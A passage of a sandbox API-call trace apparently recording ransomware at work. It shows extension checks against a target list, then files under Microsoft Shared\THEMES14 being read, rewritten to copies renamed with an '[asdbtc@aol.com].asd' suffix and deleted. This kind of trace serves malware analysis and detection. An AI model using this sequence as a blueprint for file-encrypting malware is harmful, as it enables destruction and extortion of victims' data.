files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 1 [0055.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0055.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0055.255] lstrlenW (lpString=".doc") returned 4 [0055.255] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.255] lstrlenW (lpString=".docx") returned 5 [0055.255] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.255] lstrlenW (lpString=".pdf") returned 4 [0055.255] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.255] lstrlenW (lpString=".xls") returned 4 [0055.255] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.255] lstrlenW (lpString=".xlsx") returned 5 [0055.255] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.255] lstrlenW (lpString=".ppt") returned 4 [0055.255] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0055.255] lstrlenW (lpString=".zip") returned 4 [0055.255] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.255] lstrlenW (lpString=".rar") returned 4 [0055.255] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.255] lstrlenW (lpString=".bz2") returned 4 [0055.255] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.255] lstrlenW (lpString=".7z") returned 3 [0055.256] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0055.256] lstrlenW (lpString=".dbf") returned 4 [0055.256] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0055.256] lstrlenW (lpString=".1cd") returned 4 [0055.256] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0055.256] lstrlenW (lpString=".jpg") returned 4 [0055.256] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0055.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0055.256] lstrlenW (lpString=".doc") returned 4 [0055.256] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.256] lstrlenW (lpString=".docx") returned 5 [0055.256] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.256] lstrlenW (lpString=".pdf") returned 4 [0055.256] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.256] lstrlenW (lpString=".xls") returned 4 [0055.256] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.256] lstrlenW (lpString=".xlsx") returned 5 [0055.256] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.256] lstrlenW (lpString=".ppt") returned 4 [0055.256] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0055.256] lstrlenW (lpString=".zip") returned 4 [0055.257] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.257] lstrlenW (lpString=".rar") returned 4 [0055.257] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.257] lstrlenW (lpString=".bz2") returned 4 [0055.257] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.257] lstrlenW (lpString=".7z") returned 3 [0055.257] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0055.257] lstrlenW (lpString=".dbf") returned 4 [0055.257] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0055.257] lstrlenW (lpString=".1cd") returned 4 [0055.257] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0055.257] lstrlenW (lpString=".jpg") returned 4 [0055.257] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.257] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0055.257] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0055.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.258] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=53115) returned 1 [0055.258] CloseHandle (hObject=0x1f4) returned 1 [0055.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0055.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.259] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.259] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0055.259] GetLastError () returned 0x0 [0055.259] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0xcf7b, lpOverlapped=0x0) returned 1 [0055.266] WriteFile (in: hFile=0x208, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xcf80, lpOverlapped=0x0) returned 1 [0055.268] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.268] WriteFile (in: hFile=0x208, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.268] SetEndOfFile (hFile=0x208) returned 1 [0055.268] CloseHandle (hObject=0x208) returned 1 [0055.269] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.269] SetEndOfFile (hFile=0x1f4) returned 1 [0055.270] CloseHandle (hObject=0x1f4) returned 1 [0055.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0055.270] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 1 [0055.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0055.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0055.271] lstrlenW (lpString=".doc") returned 4 [0055.271] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.271] lstrlenW (lpString=".docx") returned 5 [0055.271] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.271] lstrlenW (lpString=".pdf") returned 4 [0055.271] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.271] lstrlenW (lpString=".xls") returned 4 [0055.271] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.271] lstrlenW (lpString=".xlsx") returned 5 [0055.271] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.271] lstrlenW (lpString=".ppt") returned 4 [0055.271] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0055.271] lstrlenW (lpString=".zip") returned 4 [0055.271] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.271] lstrlenW (lpString=".rar") returned 4 [0055.271] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.271] lstrlenW (lpString=".bz2") returned 4 [0055.271] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.271] lstrlenW (lpString=".7z") returned 3 [0055.271] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0055.272] lstrlenW (lpString=".dbf") returned 4 [0055.272] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0055.272] lstrlenW (lpString=".1cd") returned 4 [0055.272] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0055.272] lstrlenW (lpString=".jpg") returned 4 [0055.272] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0055.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0055.272] lstrlenW (lpString=".doc") returned 4 [0055.272] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.272] lstrlenW (lpString=".docx") returned 5 [0055.272] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.272] lstrlenW (lpString=".pdf") returned 4 [0055.272] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.272] lstrlenW (lpString=".xls") returned 4 [0055.272] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.272] lstrlenW (lpString=".xlsx") returned 5 [0055.272] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.272] lstrlenW (lpString=".ppt") returned 4 [0055.272] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0055.272] lstrlenW (lpString=".zip") returned 4 [0055.273] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.273] lstrlenW (lpString=".rar") returned 4 [0055.273] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.273] lstrlenW (lpString=".bz2") returned 4 [0055.273] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.273] lstrlenW (lpString=".7z") returned 3 [0055.273] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0055.273] lstrlenW (lpString=".dbf") returned 4 [0055.273] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0055.273] lstrlenW (lpString=".1cd") returned 4 [0055.273] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0055.273] lstrlenW (lpString=".jpg") returned 4 [0055.273] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.273] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0055.273] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0055.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.274] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=2604) returned 1 [0055.274] CloseHandle (hObject=0x1f4) returned 1 [0055.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20 [0055.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.275] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.275] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0055.843] GetLastError () returned 0x0 [0055.843] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0xa2c, lpOverlapped=0x0) returned 1 [0055.846] WriteFile (in: hFile=0x168, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xa30, lpOverlapped=0x0) returned 1 [0055.847] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.847] WriteFile (in: hFile=0x168, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.847] SetEndOfFile (hFile=0x168) returned 1 [0055.847] CloseHandle (hObject=0x168) returned 1 [0055.847] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.847] SetEndOfFile (hFile=0x1f4) returned 1 [0055.848] CloseHandle (hObject=0x1f4) returned 1 [0055.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0055.848] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 1 [0055.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0055.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0055.849] lstrlenW (lpString=".doc") returned 4 [0055.849] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.849] lstrlenW (lpString=".docx") returned 5 [0055.849] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.849] lstrlenW (lpString=".pdf") returned 4 [0055.849] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.849] lstrlenW (lpString=".xls") returned 4 [0055.849] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.849] lstrlenW (lpString=".xlsx") returned 5 [0055.849] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.849] lstrlenW (lpString=".ppt") returned 4 [0055.849] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0055.849] lstrlenW (lpString=".zip") returned 4 [0055.849] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.849] lstrlenW (lpString=".rar") returned 4 [0055.849] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.849] lstrlenW (lpString=".bz2") returned 4 [0055.849] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.849] lstrlenW (lpString=".7z") returned 3 [0055.849] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0055.849] lstrlenW (lpString=".dbf") returned 4 [0055.849] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0055.849] lstrlenW (lpString=".1cd") returned 4 [0055.849] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0055.850] lstrlenW (lpString=".jpg") returned 4 [0055.850] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0055.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0055.850] lstrlenW (lpString=".doc") returned 4 [0055.850] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.850] lstrlenW (lpString=".docx") returned 5 [0055.850] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.850] lstrlenW (lpString=".pdf") returned 4 [0055.850] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.850] lstrlenW (lpString=".xls") returned 4 [0055.850] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.850] lstrlenW (lpString=".xlsx") returned 5 [0055.850] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.850] lstrlenW (lpString=".ppt") returned 4 [0055.850] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0055.850] lstrlenW (lpString=".zip") returned 4 [0055.850] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.850] lstrlenW (lpString=".rar") returned 4 [0055.850] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.850] lstrlenW (lpString=".bz2") returned 4 [0055.850] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.850] lstrlenW (lpString=".7z") returned 3 [0055.850] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0055.850] lstrlenW (lpString=".dbf") returned 4 [0055.850] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0055.850] lstrlenW (lpString=".1cd") returned 4 [0055.850] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0055.851] lstrlenW (lpString=".jpg") returned 4 [0055.851] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.851] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0055.851] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0055.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.851] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=937) returned 1 [0055.851] CloseHandle (hObject=0x1f4) returned 1 [0055.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 0x20 [0055.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0055.852] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.852] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0055.853] GetLastError () returned 0x0 [0055.853] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x3a9, lpOverlapped=0x0) returned 1 [0055.855] WriteFile (in: hFile=0x168, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x3b0, lpOverlapped=0x0) returned 1 [0055.856] ReadFile (in: hFile=0x1f4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.856] WriteFile (in: hFile=0x168, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.856] SetEndOfFile (hFile=0x168) returned 1 [0055.856] CloseHandle (hObject=0x168) returned 1 [0055.857] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.857] SetEndOfFile (hFile=0x1f4) returned 1 [0055.857] CloseHandle (hObject=0x1f4) returned 1 [0055.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", 